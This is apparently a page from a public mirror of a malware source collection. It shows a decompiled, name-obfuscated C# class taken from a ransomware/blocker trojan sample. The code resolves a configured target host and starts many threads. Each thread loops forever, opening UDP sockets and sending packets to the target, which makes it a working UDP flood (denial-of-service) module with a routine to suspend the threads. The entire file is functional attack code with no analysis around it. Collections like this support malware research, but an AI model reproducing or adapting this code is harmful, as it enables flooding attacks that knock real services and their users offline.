mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 03:16:11 +00:00
f2ac1ece55
add
123 lines
6.2 KiB
C#
123 lines
6.2 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: A.ca2a3d5a1b8d431c404c11a5f27d5064a
|
|
// Assembly: Sharl, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: F11368F2-49D5-4A01-9284-978C5FDD6F03
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.hejd-d602e69d871803e54a9edd4b87d241c904ab59014cfd496853fc6cc688c16570.exe
|
|
|
|
using System.Net;
|
|
using System.Net.Sockets;
|
|
using System.Threading;
|
|
|
|
namespace A
|
|
{
|
|
internal class ca2a3d5a1b8d431c404c11a5f27d5064a
|
|
{
|
|
private static ThreadStart[] c1aa5e7f9240b5cc21ac78813ddfbaa39;
|
|
private static Thread[] c12e108ff6c83dbee08305cc2b0ce9998;
|
|
public static string c966ab90271ad8729ab4aa4181c310abf;
|
|
private static IPEndPoint cdd98f4a39e676344f91b06e9be54701b;
|
|
public static ushort cf7dbbb0d9526e45865da4ee3fb9e1488;
|
|
public static int cced20ebbb17c5b4c22dbd925be9f7bd0;
|
|
private static ca2a3d5a1b8d431c404c11a5f27d5064a.ca94bf5d3d0eb8f635b7ee4989482d69d[] cc56b909ba2467b64852301c0ddafe66b;
|
|
public static int c1e5fb6eadf8fa36fbb78b515080241e1;
|
|
public static int ce1f122b7ea8865781912d724c92b0e28;
|
|
|
|
public static void c1e47aee5510fe6af6ef6c306b4a8c34a()
|
|
{
|
|
try
|
|
{
|
|
ca2a3d5a1b8d431c404c11a5f27d5064a.cdd98f4a39e676344f91b06e9be54701b = new IPEndPoint(Dns.GetHostEntry(ca2a3d5a1b8d431c404c11a5f27d5064a.c966ab90271ad8729ab4aa4181c310abf).AddressList[0], (int) ca2a3d5a1b8d431c404c11a5f27d5064a.cf7dbbb0d9526e45865da4ee3fb9e1488);
|
|
}
|
|
catch
|
|
{
|
|
ca2a3d5a1b8d431c404c11a5f27d5064a.cdd98f4a39e676344f91b06e9be54701b = new IPEndPoint(IPAddress.Parse(ca2a3d5a1b8d431c404c11a5f27d5064a.c966ab90271ad8729ab4aa4181c310abf), (int) ca2a3d5a1b8d431c404c11a5f27d5064a.cf7dbbb0d9526e45865da4ee3fb9e1488);
|
|
}
|
|
ca2a3d5a1b8d431c404c11a5f27d5064a.c12e108ff6c83dbee08305cc2b0ce9998 = new Thread[ca2a3d5a1b8d431c404c11a5f27d5064a.c1e5fb6eadf8fa36fbb78b515080241e1];
|
|
ca2a3d5a1b8d431c404c11a5f27d5064a.c1aa5e7f9240b5cc21ac78813ddfbaa39 = new ThreadStart[ca2a3d5a1b8d431c404c11a5f27d5064a.c1e5fb6eadf8fa36fbb78b515080241e1];
|
|
ca2a3d5a1b8d431c404c11a5f27d5064a.cc56b909ba2467b64852301c0ddafe66b = new ca2a3d5a1b8d431c404c11a5f27d5064a.ca94bf5d3d0eb8f635b7ee4989482d69d[ca2a3d5a1b8d431c404c11a5f27d5064a.c1e5fb6eadf8fa36fbb78b515080241e1];
|
|
for (int index = 0; index < ca2a3d5a1b8d431c404c11a5f27d5064a.c1e5fb6eadf8fa36fbb78b515080241e1; ++index)
|
|
{
|
|
ca2a3d5a1b8d431c404c11a5f27d5064a.cc56b909ba2467b64852301c0ddafe66b[index] = new ca2a3d5a1b8d431c404c11a5f27d5064a.ca94bf5d3d0eb8f635b7ee4989482d69d(ca2a3d5a1b8d431c404c11a5f27d5064a.cdd98f4a39e676344f91b06e9be54701b, ca2a3d5a1b8d431c404c11a5f27d5064a.ce1f122b7ea8865781912d724c92b0e28, ca2a3d5a1b8d431c404c11a5f27d5064a.cced20ebbb17c5b4c22dbd925be9f7bd0);
|
|
ca2a3d5a1b8d431c404c11a5f27d5064a.c1aa5e7f9240b5cc21ac78813ddfbaa39[index] = new ThreadStart(ca2a3d5a1b8d431c404c11a5f27d5064a.cc56b909ba2467b64852301c0ddafe66b[index].c254d67f0f5a5ab80dbe5de1d1b27a54e);
|
|
ca2a3d5a1b8d431c404c11a5f27d5064a.c12e108ff6c83dbee08305cc2b0ce9998[index] = new Thread(ca2a3d5a1b8d431c404c11a5f27d5064a.c1aa5e7f9240b5cc21ac78813ddfbaa39[index]);
|
|
ca2a3d5a1b8d431c404c11a5f27d5064a.c12e108ff6c83dbee08305cc2b0ce9998[index].Start();
|
|
}
|
|
}
|
|
|
|
public static void c4f970d2f71876e66d1daba6a51237e62()
|
|
{
|
|
for (int index = 0; index < ca2a3d5a1b8d431c404c11a5f27d5064a.c1e5fb6eadf8fa36fbb78b515080241e1; ++index)
|
|
{
|
|
try
|
|
{
|
|
ca2a3d5a1b8d431c404c11a5f27d5064a.c12e108ff6c83dbee08305cc2b0ce9998[index].Suspend();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
private class ca94bf5d3d0eb8f635b7ee4989482d69d
|
|
{
|
|
private IPEndPoint cdd98f4a39e676344f91b06e9be54701b;
|
|
private int cced20ebbb17c5b4c22dbd925be9f7bd0;
|
|
private Socket[] cd5ac2690507af44059caeb0c8b2a71f7;
|
|
private int ce1f122b7ea8865781912d724c92b0e28;
|
|
|
|
public ca94bf5d3d0eb8f635b7ee4989482d69d(
|
|
IPEndPoint c8293ed1972789902aa5c44e762d830c9,
|
|
int cb43681044880256f22aeddc96516b172,
|
|
int cee8c5650a27830fc592eaa0c83f141af)
|
|
{
|
|
this.cdd98f4a39e676344f91b06e9be54701b = c8293ed1972789902aa5c44e762d830c9;
|
|
this.ce1f122b7ea8865781912d724c92b0e28 = cb43681044880256f22aeddc96516b172;
|
|
this.cced20ebbb17c5b4c22dbd925be9f7bd0 = cee8c5650a27830fc592eaa0c83f141af;
|
|
}
|
|
|
|
public void c254d67f0f5a5ab80dbe5de1d1b27a54e()
|
|
{
|
|
while (true)
|
|
{
|
|
byte[] buffer = new byte[this.cced20ebbb17c5b4c22dbd925be9f7bd0];
|
|
try
|
|
{
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7 = new Socket[this.ce1f122b7ea8865781912d724c92b0e28];
|
|
for (int index = 0; index < this.ce1f122b7ea8865781912d724c92b0e28; ++index)
|
|
{
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7[index] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7[index].Blocking = false;
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7[index].SendTo(buffer, (EndPoint) this.cdd98f4a39e676344f91b06e9be54701b);
|
|
}
|
|
Thread.Sleep(100);
|
|
for (int index = 0; index < this.ce1f122b7ea8865781912d724c92b0e28; ++index)
|
|
{
|
|
if (this.cd5ac2690507af44059caeb0c8b2a71f7[index].Connected)
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7[index].Disconnect(false);
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7[index].Close();
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7[index] = (Socket) null;
|
|
}
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7 = (Socket[]) null;
|
|
}
|
|
catch
|
|
{
|
|
for (int index = 0; index < this.ce1f122b7ea8865781912d724c92b0e28; ++index)
|
|
{
|
|
try
|
|
{
|
|
if (this.cd5ac2690507af44059caeb0c8b2a71f7[index].Connected)
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7[index].Disconnect(false);
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7[index].Close();
|
|
this.cd5ac2690507af44059caeb0c8b2a71f7[index] = (Socket) null;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|